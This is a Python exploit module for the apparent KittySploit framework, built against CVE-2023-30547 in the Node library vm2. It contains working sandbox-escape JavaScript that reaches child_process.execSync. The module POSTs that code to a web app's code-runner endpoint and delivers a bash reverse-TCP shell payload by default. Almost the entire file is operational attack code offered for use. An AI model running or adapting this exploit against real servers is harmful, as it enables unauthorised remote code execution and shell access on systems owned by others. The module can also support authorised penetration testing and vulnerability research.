vm2 CVE-2023-30547 sandbox escape RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""vm2 CVE-2023-30547 sandbox escape via HTTP code runner."""
from __future__ import annotations
import base64
import json
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client

class Module(Exploit, Http_client):
    __info__ = {'name': 'vm2 CVE-2023-30547 sandbox escape RCE', 'description': 'CVE-2023-30547 (vm2 <= 3.9.19): Proxy/getPrototypeOf recursion escapes the sandbox when a web app evaluates user code with vm2.', 'author': ['KittySploit Team'], 'cve': ['CVE-2023-30547'], 'platform': Platform.LINUX, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/unix/bash_reverse_tcp', 'platform': Platform.UNIX, 'category': PayloadCategory.CMD}, 'references': ['https://nvd.nist.gov/vuln/detail/CVE-2023-30547', 'https://github.com/dinosn/exploit-watch-archive'], 'tags': ['vm2', 'node', 'sandbox', 'rce', 'cve-2023-30547'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 2, 'reversible': False, 'approval_required': True, 'produces': ['rce', 'shell'], 'chain': {'suggested_followups': ['scanner/http/vm2_cve_2023_30547_detect']}}}
    _ESCAPE_JS = '\nconst {{VM}} = require("vm2");\nconst vm = new VM();\nconst code = `\nerr = {{}};\nconst handler = {{\n    getPrototypeOf(target) {{\n        (function stack() {{\n            new Error().stack;\n            stack();\n        }})();\n    }}\n}};\nconst proxiedErr = new Proxy(err, handler);\ntry {{\n    throw proxiedErr;\n}} catch ({{constructor: c}}) {{\n    c.constructor(\'return process\')().mainModule.require(\'child_process\').execSync({cmd});\n}}\n`\nconsole.log(vm.run(code));\n'
    runner_path = OptString('/run', 'Endpoint that runs user Node code', required=False)
    json_key = OptString('code', 'JSON field for code body', required=False)
    base64_body = OptBool(False, 'Base64-encode JS before POST', required=False)

    def _payload_js(self, cmd: str) -> str:
        return self._ESCAPE_JS.format(cmd=json.dumps(str(cmd)))

    def execute(self, cmd: str) -> str:
        js = self._payload_js(cmd)
        val = base64.b64encode(js.encode()).decode() if self.base64_body else js
        path = str(self.runner_path or '/run')
        key = str(self.json_key or 'code')
        resp = self.http_request('POST', path, data=json.dumps({key: val}), headers={'Content-Type': 'application/json'})
        return (resp.text or '').strip() if resp else ''

    def check_execute(self):
        body = self.execute('echo VM230547')
        return 'VM230547' in (body or '')

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error('Set payload')
            return False
        print_status('CVE-2023-30547 — vm2 escape')
        if self.check_execute():
            out = self.execute(shell)
            if out:
                print_info(out[:4000])
            if str(self.shell_from_payload() or '').strip():
                return True
            return True
        if not re.search('reverse|bash|/dev/tcp|nc ', shell, re.I):
            print_error('vm2 escape failed')
            self.not_vulnerable()
            return False
        self.execute(shell)
        return True